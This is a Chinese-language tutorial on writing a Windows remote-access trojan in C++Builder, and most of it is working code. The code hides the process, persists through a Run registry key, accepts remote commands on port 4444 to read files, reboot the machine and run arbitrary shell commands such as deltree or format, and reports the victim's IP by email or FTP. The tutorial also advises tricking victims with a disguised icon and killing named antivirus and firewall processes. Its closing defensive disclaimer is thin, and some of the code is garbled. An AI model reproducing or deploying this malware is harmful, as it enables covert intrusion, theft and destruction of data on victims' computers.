首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi,這裡
我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設計太複雜,為了更好地突
出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯
,但缺陷是不能繼承已有的資源(如「死牛崇拜」黑客小組公佈的BO2000源代碼,是V
C編寫的,網上俯拾皆是);VB嘛,談都不談——難道你還給受害者傳一個1兆多的動
態鏈接庫——Msvbvm60.dll嗎?
啟動C++Builder
5.0企業版,新建一個工程,添加三個VCL控件:一個是Internet頁中的Server
Socket,另兩個是Fastnet頁中的NMFTP和NMSMTP。Server
Socket的功能是用來使本程序變成一個服務器程序,可以對外服務(對攻擊者敞開大
門)。Socket最初是在Unix上出現的,後來微軟將它引入了Windows中(包括Win98和W
inNt);後兩個控件的作用是用來使程序具有FTP(File Transfer
Protocol文件傳輸協議)和SMTP(Simple Mail Transfer
Protocol簡單郵件傳輸協議)功能,大家一看都知道是使軟件具有上傳下載功能和發
郵件功能的控件。
Form窗體是可視的,這當然是不可思議的。不光佔去了大量的空間(光一個Form就有3
00K之大),而且使軟件可見,根本沒什麼作用。因此實際寫木馬時可以用一些技巧使
程序不包含Form,就像Delphi用過程實現的小程序一般只有17K左右那樣。
我們首先應該讓我們的程序能夠隱身。雙擊Form,首先在FormCreate事件中添加
可使木馬在Win9x的「關閉程序」對話框中隱藏的代碼。這看起來很神祕,其實說穿了
不過是一種被稱之為Service的後臺進程,它可以運行在較高的優先級下,可以說是非常
靠近系統核心的設備驅動程序中的那一種。因此,只要將我們的程序在進程數據庫中
用RegisterServiceProcess()函數註冊成服務進程(Service Process)就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有,那麼我
們只好自己來聲明這個位於KERNEL32.DLL中的鳥函數了。
首先判斷目標機的操作系統是Win9x還是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系統的版本號
if (dwVersion >= 0x80000000)
// 操作系統是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定義RegisterServiceProcess()函數的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
//加載RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL
lpRegisterServiceProcess =
(LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess")
;
//得到RegisterServiceProcess()函數的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//執行RegisterServiceProcess()函數,隱藏本進程
FreeLibrary(hDLL);
//卸載動態鏈接庫
}
}
這樣就終於可以隱身了(害我敲了這麼多代碼!)。為什麼要判斷操作系統呢?
因為WinNt中的進程管理器可以對當前進程一覽無餘,因此沒必要在WinNt下也使用以
上代碼(不過你可以使用其他的方法,這個留到後面再講)。
接著再將自己拷貝一份到%System%目錄下,例如:C:/Windows/System,並修改註冊表
,以便啟動時自動加載:
{
char TempPath[MAX_PATH];
//定義一個變量
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目錄緩衝區的地址,MAX_PATH是緩衝區的大小,得到目標機的Syst
em目錄路徑
SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成為能供編譯器使用的樣式
CopyFile(ParamStr(0).c_str(),
AnsiString(SystemPath+"//Tapi32.exe").c_str() ,FALSE);
//將自己拷貝到%System%目錄下,並改名為Tapi32.exe,偽裝起來
Registry=new TRegistry;
//定義一個TRegistry對象,準備修改註冊表,這一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//設置主鍵為HKEY_LOCAL_MACHINE
Registry->OpenKey("Software//Microsoft//Windows//
CurrentVersion//Run",TRUE);
//打開鍵值Software//Microsoft//Windows//CurrentVersion//Run,如果不存在,就
創建之
try
{
//如果以下語句發生異常,跳至catch,以避免程序崩潰
if(Registry->ReadString("crossbow")!=SystemPath+"//Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"//Tapi32.exe");
//查找是否有「crossbow」字樣的鍵值,並且是否為拷貝的目錄%System%+Tapi32.exe
//如果不是,就寫入以上鍵值和內容
}
catch(...)
{
//如果有錯誤,什麼也不做
}
}
好,FormCreate過程完成了,這樣每次啟動都可以自動加載Tapi32.exe,並且在
「關閉程序」對話框中看不見本進程了,木馬的雛形初現。
接著選中ServerSocket控件,在左邊的Object
Inspector中將Active改為true,這樣程序一啟動就打開特定端口,處於服務器工作狀
態。再將Port填入4444,這是木馬的端口號,當然你也可以用別的。但是你要注意不
要用1024以下的低端端口,因為這樣不但可能會與基本網絡協議使用的端口相衝突,
而且很容易被發覺,因此盡量使用1024以上的高端端口(不過也有這樣一種技術,它
故意使用特定端口,因為如果引起衝突,Windows也不會報錯
^_^)。你可以看一看TNMFTP控件使用的端口,是21號端口,這是FTP協議的專用控制
端口(FTP Control Port);同理TNMSMTP的25號端口也是SMTP協議的專用端口。
再選中ServerSocket控件,點擊Events頁,雙擊OnClientRead事件,敲入以下代
碼:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定義了一堆待會兒要用到的變量
sprintf(TempFile, "%s",
AnsiString(SystemPath+AnsiString("//Win369.BAT")).c_str());
//在%System%下建立一個文本文件Win369.bat,作為臨時文件使用
AnsiString temp=Socket->ReceiveText();
//接收客戶端(攻擊者,也就是你自己)傳來的數據
}
好,大門敞開了!接著就是修改目標機的各種配置了!^_^
首先我們來修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
//如果接受到的字符串的前9個字符是「edit conf」
{
int number=temp.Length();
//得到字符串的長度
int file_name=atoi((temp.SubString(11,1)).c_str());
//將第11個字符轉換成integer型,存入file_name變量
//為什麼要取第11個字符,因為第10個字符是空格字符
content=(temp.SubString(12,number-11)+'/n').c_str();
//餘下的字符串將被作為寫入的內容寫入目標文件
FILE *fp=NULL;
char filename[20];
chmod("c://autoexec.bat",S_IREAD|S_IWRITE);
chmod("c://config.sys",S_IREAD|S_IWRITE);
//將兩個目標文件的屬性改為可讀可寫
if(file_name==1)
sprintf(filename,"%s","c://autoexec.bat");
//如果第11個字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c://config.sys");
//如果第11個字符是1,就把Config.sys格式化
times_of_try=0;
//定義計數器
while(fp==NULL)
{
//如果指針是空
fp=fopen(filename,"a+");
//如果文件不存在,創建之;如果存在,準備在其後添加
//如果出錯,文件指針為空,這樣就會重複
times_of_try=times_of_try+1;
//計數器加1
if(times_of_try>100)
{
//如果已經試了100次了,仍未成功
Socket->SendText("Fail By Open File");
//就發回「Fail By Open File」的錯誤信息
goto END;
//跳至END處
}
}
fwrite(content,sizeof(char),strlen(content),fp);
//寫入添加的語句,例如deltree/y C:或者format/q/autotest
C:,夠毒吧?!
fclose(fp);
//寫完後關閉目標文件
Socket->SendText("Sucess");
//然後發回「Success」的成功信息
}
}
你現在可以通過網絡來察看目標機上的這兩個文件了,並且還可以向裡面隨意添
加任何命令。呵呵,這只不過是牛刀小試罷了。
的啟動配置文件,這回我們就來查看目標機上的目錄樹和文件吧,這在客戶端上使用
「dir」命令,跟著敲囉:
{
else if(temp.SubString(0,3)=="dir")
{
//如果前3個字符是「dir」
int Read_Num;
char * CR_LF="/n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
//得到字符串的長度
AnsiString Dir_Name=temp.SubString(5,number-3);
//從字符串第六個字符開始,將後面的字符存入Dir_Name變量,這是目錄名
if(Dir_Name=="")
{
//如果目錄名為空
Socket->SendText("Fail By Open DIR's Name");
//返回「Fail By Open DIR's Name」信息
goto END;
//跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
//如果打開目錄出錯
Socket->SendText("Fail by your DIR's name!");
//返回「Fail By Your DIR's Name」信息
goto END;
//跳到END
}
times_of_try=0;
while(fp==NULL)
{
//如果指針是NULL
fp=fopen(TempFile,"w+");
//就創建system/Win369.bat準備讀和寫;如果此文件已存在,則會被覆蓋
times_of_try=times_of_try+1;
//計數器加1
if(times_of_try>100)
{
//如果已經試了100次了,仍未成功(真有耐心!)
Socket->SendText("Fail By Open File");
//就發回「Fail By Open File」的錯誤信息
goto END;
//並跳到END處
}
}
while ((ent = readdir(dir)) != NULL)
{
//如果訪問目標目錄成功
if(*(AnsiString(dirname)).AnsiLastChar()!='//')
//如果最後一個字符不是「/」,證明不是根目錄
filename=(AnsiString(dirname)+"//"+ent->d_name).c_str();
//加上「/」字符後將指針指向目錄流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
//如果是根目錄,則不用加「/」
attrib=_rtl_chmod(filename, 0);
//得到目標文件的訪問屬性
if (attrib & FA_RDONLY)
//「&」字符是比較前後兩個變量,如果相同返回1,否則返回0
fwrite(" R",sizeof(char),3,fp);
//將目標文件屬性設為只讀
else
fwrite(" ",sizeof(char),3,fp);
//失敗則寫入空格
if (attrib & FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
//將目標文件屬性設為隱藏
else
fwrite(" ",sizeof(char),1,fp);
//失敗則寫入空格
if (attrib & FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
//將目標文件屬性設為系統
else
fwrite(" ",sizeof(char),1,fp);
//失敗則寫入空格
if (attrib & FA_ARCH)
fwrite("A",sizeof(char),1,fp);
//將目標文件屬性設為普通
else
fwrite(" ",sizeof(char),1,fp);
//失敗則寫入空格
if (attrib & FA_DIREC)
fwrite("
",sizeof(char),9,fp);
//將目標文件屬性設為目錄
else
fwrite(" ",sizeof(char),9,fp);
//失敗則寫入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
//將目錄名寫入目標文件
fwrite(CR_LF,1,1,fp);
//寫入換行
}
fclose(fp);
//關閉文件
closedir(dir);
//關閉目錄
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
//打開Win369.bat準備讀
times_of_try=times_of_try+1;
//計數器加1
if(times_of_try>100)
{
//如果已經試了100次了,仍未成功
Socket->SendText("Fail By Open File");
//就發回「Fail By Open File」的錯誤信息
goto END;
//並跳到END處
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='/0';
//定義的一個空數組
Read_Num=fread(temp_content,1,300,fp1);
//從目標文件中讀入前300個字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
//Return_Text變量加上剛才的300個字符
for(int i=0;i<300;i++) temp_content[i]='/0';
Read_Num=fread(temp_content,1,300,fp1);
//重複
};
Return_Text=Return_Text+temp_content;
//Return_Text變量加上剛才的300個字符
fclose(fp1);
//關閉目標文件
Socket->SendText(Return_Text);
//返回Return_Text變量的內容
}
}
夠長吧?!察看目錄樹這麼費勁啊?!你後面可以用BCB中的各種列表框對Client.exe
好好美化美化。接下來就是查看指定文件的內容了,Client將使用「type」命令,(
手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
//如果前4個字符是「type」
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
//將目標文件流存入File_Name變量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
//打開目標文件準備讀
times_of_try=times_of_try+1;
//計數器加1
if(times_of_try>100)
{
//如果已試了100次了
Socket->SendText("Fail By Open File");
//返回「Fail By Open File」的錯誤信息
goto END;
//跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='/0';
//定義一個空數組
Read_Num=fread(temp_content,1,300,fp);
//從目標文件中讀入前300個字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
//Return_Text的內容加上剛才的字符
for(int i=0;i<300;i++) temp_content[i]='/0';
Read_Num=fread(temp_content,1,300,fp);
//重複
};
Return_Text=Return_Text+temp_content;
//Return_Text的內容加上剛才的字符
fclose(fp);
//關閉目標文件
Socket->SendText(Return_Text);
//返回Return_Text的內容,即你查看文件的內容
}
}
操縱目標機的光驅(注意:mciSendString()
函數的聲明在mmsystem.h頭文件中):
{
else if(temp=="open")
{
//如果收到的temp的內容是「open」
mciSendString("set cdaudio door open", NULL, 0, NULL);
//就彈出光驅的託盤
}
else if(temp=="close")
{
//如果收到的temp的內容是「close」
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
//就收入光驅的託盤。當然你也可以搞個死循環,讓他的光驅好好活動活動!^_^
}
}
接著就是交換目標機的鼠標左右鍵,代碼如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
//交換鼠標左右鍵,簡單吧?
}
}
然後就是使目標機重新啟動。但這裡要區分WinNt和Win9x——NT非常注重系統每
個進程的權利,一個普通的進程是不應具備有調用系統的權利的,因此我們要賦予本
程序足夠的權限:
{
else if(temp=="reboot")
{
//如果收到的temp的內容是「temp」
DWORD dwVersion = GetVersion();
//得到操作系統的版本號
if (dwVersion < 0x80000000)
{
//操作系統是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
//定義變量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken);
//OpenProcessToken()這個函數的作用是打開一個進程的訪問令牌
//GetCurrentProcess()函數的作用是得到本進程的句柄
LookupPrivilegeValue(NULL,
SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
//LookupPrivilegeValue()的作用是修改進程的權限
tkp.PrivilegeCount = 1;
//賦給本進程特權
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp,
0,(PTOKEN_PRIVILEGES)NULL, 0);
//AdjustTokenPrivileges()的作用是通知Windows NT修改本進程的權利
ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
//強行退出WinNt並重啟
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
//強行退出Win9x並重啟
}
}
如果以上都不是,就讓它在Dos窗口中執行傳來的命令:
{
else
{
//如果都不是
char * CR_TF="/n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
//創建Win369.bat,如果已存在就覆蓋
times_of_try=times_of_try+1;
//計數器加1
if(times_of_try>100)
{
Socket->SendText("Fail By Open File");
//返回「Fail By Open File」的信息
goto END;
//跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
//寫入欲執行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
//寫入換行符
fclose(fp);
//關閉Win369.bat
system(TempFile);
//執行Win369.bat
Socket->SendText("Success");
//返回「Success」信息
}
}
你可以直接執行什麼Ping和Tracert之類的命令來進一步刺探目標機的網絡狀況(
判斷是否是一個企業的局域網),然後可以進一步攻擊,比如Deltree和Format命令。
到此,服務器程序的功能已全部完成,但還差容錯部分未完成,這樣才能避免程
序因意外而崩潰。
其代碼如下:
{
END:;
Socket-〉Close();
//關閉服務
ServerSocket1-〉Active =true;
//再次打開服務
if (NMSMTP1-〉Connected) NMSMTP1-〉Disconnect();
//如果SMTP服務器已連接則斷開
NMSMTP1-〉Host = "smtp.163.net";
//選一個好用的SMTP服務器,如163、263、sina和btamail
NMSMTP1-〉UserID = "";
//你SMTP的ID
try
{
NMSMTP1-〉Connect();
//再次連接
}
catch(...)
{
goto NextTime;
//跳到NextTime
}
NMSMTP1-〉PostMessage-〉FromAddress ="I don't know!";
//受害者的Email地址
NMSMTP1-〉PostMessage-〉FromName = "Casualty";
//受害者的名字
NMSMTP1-〉PostMessage-〉ToAddress-〉Text = "[email protected]";
//將信發到我的郵箱,這一步很關鍵
NMSMTP1-〉PostMessage-〉Body-〉Text = AnsiString("Server Running on:")
+ NMSMTP1-〉LocalIP ;
//信的內容提示你「服務器正在運行」,並且告訴你受害者的目前的IP地址,以便
連接
NMSMTP1-〉PostMessage-〉Subject = "Server Running Now!";
//信的主題
NMSMTP1-〉SendMail();
//發送!
return;
//返回
NextTime:
NMFTP1-〉Host = "ftp.go.163.com";
//你的FTP服務器的地址
NMFTP1-〉UserID = "";
//你的用戶ID
NMFTP1-〉Port = 21;
//FTP端口號,一般為21
NMFTP1-〉Password = "";
//你的FTP的密碼
if(NMFTP1-〉Connected) NMFTP1-〉Disconnect();
//如果已連接就斷開
try
{
NMFTP1-〉Connect();
//再連接
}
catch(...)
{
return;
//返回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1-〉RemoteIP;
//受害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1-〉RemoteIP.c_str(),"w+");
//創建一個新文件準備寫,如果已存在就覆蓋
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload
);
//寫入以上的SendToSite的內容
fclose(Upload);
//寫完後關閉此文件
NMFTP1-〉RemoveDir("public_html");
//刪除public_html目錄
NMFTP1-〉Upload(NMFTP1-〉RemoteIP, NMFTP1-〉RemoteIP);
//上傳!
}
啊,超長的OnClientRead事件終於寫完了。最後別忘了要在此服務器源碼文件中
添加以下頭文件:
#include 〈stdlib.h〉
#include 〈dirent.h〉
#include 〈fcntl.h〉
#include 〈dos.h〉
#include 〈sys/stat.h〉
#include 〈winbase.h〉
#include 〈stdio.h〉
#include 〈process.h〉
#include 〈io.h〉
#include 〈mmsystem.h〉
至此,服務器端(Server)程序已全部完工!以上代碼只是完成了整個木馬程序的一半。下面我們就將乘勝追擊——搞定客戶端程序(Client)!
客戶端程序其實是很簡單的。另新建一個Form,添加一個ClientSocket(和Serve
rSocket在相同的頁下),再添加四個Editbox,命名為Edit1,Edit2,Edit3和Edit4
,最後添加一個Button,Caption為「發送」。Edit1是輸入命令用的,Edit2是準備輸
入目標機的IP地址用的,Edit3是輸入連接端口號用的,Edit4是用來輸入欲添加的語
句或顯示命令執行的結果的。(頭是不是有點大了?!)
雙擊Button1,在Button1Click事件中添加如下代碼:
{
if((Edit2-〉Text=="")||(Edit3-〉Text==""))return;
//如果輸入IP地址框或輸入端口號框有一個為空,就什麼也不作
ClientSocket1-〉Address=Edit2-〉Text;
//目標IP地址
ClientSocket1-〉Port=atoi(Edit2-〉Text.c_str());
//目標端口號,本例中的44444
ClientSocket1-〉Open();
//連接!
}
選中CilentSocket1控件,雙擊OnConnectt事件,在ClientSocket1Connect下添加
如下代碼:
{
if((Edit1-〉Text=="edit conf 1")||(Edit1-〉Text=="edit conf 2"))
//如果是要編輯autoexec.bat或config.sys
Socket-〉SendText(Edit1-〉Text+Edit4-〉Text);
//發送命令和欲添加的語句
else
Socket-〉SendText(Edit1-〉Text);
//否則只發送命令
}
雙擊OnRead事件,在ClientSocket1Read下添加如下代碼:
{
AnsiString ReadIn = Socket-〉ReceiveText();
//讀入收到的返回信息
Edit4-〉Text="";
//清空編輯框
FILE *fp;
fp = fopen("ReadIn.tmp","w");
//建立一個臨時文件ReadIn.tmp
fwrite(ReadIn.c_str(),1,10000,fp);
//寫入信息
fclose(fp);
//關閉之
Edit4-〉Lines-〉LoadFromFile("ReadIn.tmp");
//在編輯框中顯示返回的信息
}
為了敲完命令後直接回車就可以發送,我們可以使Button1的代碼共享。雙擊Edit
1的OnKeyPress命令,輸入:
{
if(Key==VK_RETURN)Button1Click(Sender);
//如果敲的是回車鍵,就和點擊Button1一樣的效果
}
最後再添加以下頭文件:
#include "stdlib.h"
#include "winbase.h"
#include "fcntl.h"
#include "stdio.h"
終於寫完了!!!按下Ctrl+F9進行編譯鏈接吧!對於Server,你可以選一個足以迷惑
人的圖標(我選的是一個目錄模樣的圖標)進行編譯,這樣不但受害者容易中招,而
且便於隱藏自己。
接下來就把Server程序寄給受害者,誘騙他(她)執行,在你得到他(她)的IP
後,就啟動Client程序,敲入「edit conf
1」就編輯Autoexec.bat文件,敲入「edit conf
2」就編輯Config.sys文件,敲入「dir
xxx」(xxx是目錄名)就可以看到目錄和文件,敲「type
xxx」就可以察看任何文件,輸入「open」,彈出目標機的光驅託盤,「close」就收
入托盤,輸入「swap」就可以交換受害者的鼠標左右鍵,輸入「reboot」就啟動目標
機……不用我多說了吧?
以上只是一個簡單的例子,真正寫起木馬來要解決的技術問題比這多得多,這得
需要紮實的編程功底和豐富的經驗。如下的問題就值得仔細考慮:
首先是程序的大小問題,本程序經編譯鏈接後得到的可執行文件竟有400多K,用A
spack1.07壓了一下也還有200多K。可以看出不必要的Form是應該去掉的;並且盡量由
自己調用底層的API函數,而盡量少使用Borland打好包的VCL控件;要盡量使用彙編語
言(BCB支持C++和彙編混編),不但速度會加快,而且大小可以小很多,畢竟木馬是
越小越好。
還有啟動方式的選擇。出了Win.ini、System.ini之外,也還是那幾個註冊表鍵值
,如:
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/
RunServices
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run
都已被其他的木馬用爛了。現在又開始對exe、dll和txt文件的關聯程序動手腳了(如
冰河和廣外女生)。這裡涉及到參數傳遞的問題。得到ParamStr()函數傳來的參數
,啟動自己後再啟動與之關聯的程序,並將參數傳遞給它,這樣就完成了一次「雙啟
動」,而受害者絲毫感覺不到有任何異常。具體鍵值如:
與exe文件建立關聯:HKEY_CLASSES_ROOT/exefile/shell/open/command
與txt文件建立關聯:HKEY_CLASSES_ROOT/txtfile/shell/open/command
與dll文件建立關聯:HKEY_CLASSES_ROOT/dllfile/shell/open/command
等,當然還可以自己擴充。目前還有一種新方法:在
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion
/Windows
下添加如下鍵值
"AppInit_DLLs"="Server.dll",這就把Server.dll註冊為系統啟動時必須加載的模塊
(你應該把木馬編譯成DLL)。下次開機時,木馬以動態鏈接庫形式被加載,存在於系
統進程中。因為沒有它自己的PID(Process ID
進程識別號),所以在NT的任務管理器中也看不見(不過在「系統信息」——「軟件
環境」——「已加載的32位模塊」中還是可以詳細看到當前內存中加載的每一個模塊
的),這樣做的目的是可以使自己的程序更加隱蔽,提高木馬的生存能力。
木馬的功能還可以大大擴充。你可以充分發揮你的想像力——比如上傳、下載、
新建、改名、移動文件,截圖存為jpg文件傳回,錄音監聽成Wav文件,錄像成AVI文件
,彈光驅,讀軟驅,關機,重啟,不停地掛起,胡亂切換分辨率(燒掉你的顯示器)
,發對話框,不停地打開資源管理器直到死機,殺掉Kernel32.dll進程使機器暴死,
交換鼠標左右鍵,固定鼠標,限制鼠標活動範圍,鼠標不聽指揮到處亂竄,記錄擊鍵
記錄(記錄上網口令,這需要深入瞭解鉤子(Hook)技術,如鍵盤鉤子和鼠標鉤子)
,竊取重要的密碼文件如pwl和sam文件,格式化磁盤,亂寫磁盤扇區(像病毒大爆發
),破壞零磁道,亂寫BIOS(像CIH),胡亂設置CMOS,加密MBR、HDPT和FAT(像江民
炸彈)……真是琳琅滿目、心狠手辣呀!而且實現起來並不是很複雜,只不過後面幾
項需要比較紮實的彙編功底而已(有幾項要用到Vxd技術)。唉!路漫漫其修遠兮,吾
將上下而求索……
如果你想更安全地執行你的入侵活動,就應該像廣外女生一樣可以殺掉防火牆和
殺毒軟件的進程。防火牆和殺毒軟件監視的是特徵碼,如果你是新木馬,它就不吱一
聲;但是如果你打開不尋常的端口,它就會跳出來報警。因此最好的辦法是啟動後立
即分析當前進程,查找有沒有常見防火牆和殺毒軟件的進程,如果有就殺無赦。比如
常見的如:Lockdown,天網防火牆,網絡衛兵,kv3000,瑞星,金山毒霸,Pc-Cillin
,Panda,Mcafee,Norton和CheckPoint。殺掉後,再在特定的內存地址中作一個標記
,使它們誤以為自己已啟動,因此不會再次啟動自己了。
針對來自反彙編工具的威脅。如果有人試圖將你的木馬程序反彙編,他成功後,
你的一切祕密就暴露在他的面前了,因此,我們要想辦法保護自己的作品。首先想到
的是條件跳轉,條件跳轉對於反向工程來說並不有趣。沒有循環,只是跳轉,作為使
偷竊者令人頭痛的路障。這樣,就沒有簡單的反向操作可以執行了。陷阱,另一個我
不太肯定,但聽說有程序使用的方法:用CRC校驗你的EXE文件,如果它被改變了,不
要顯示典型錯誤信息,而給予偷竊者致命的一擊。
最後如果你需要它完成任務後可以自己刪除自己,我提示你:退出前建立一個批
處理文件,加入循環刪除本exe文件和本批處理文件自己的命令後保存,執行它,再放
心地退出。你可以試一下,所有文件都消失了吧?!這叫「踏雪無痕」。
入侵安裝了防火牆的機器最好使用自己編寫的木馬,這樣不光防火牆不會報警,
而且你自己心裡也坦然一些——畢竟是自己的作品嗎!如果你是系統管理員,那就請
你不要偷懶,不僅要經常掃瞄1024以下的端口,而且包括1024以上的高端端口也要仔
細掃瞄,65535個端口一個也不能漏。因為許多木馬打開的就是高端端口(如本例中的
4444)。
寫在最後:上面例子的用意並不是教你去如何攻擊他人,目的只是讓你瞭解木馬
的工作原理和簡單的編寫步驟,以便更好地防範和殺除木馬,維護我們自己應有的網
絡安全。因此,請列位看官好自為之,不要亂下殺手啊!
如何撰寫木馬程序
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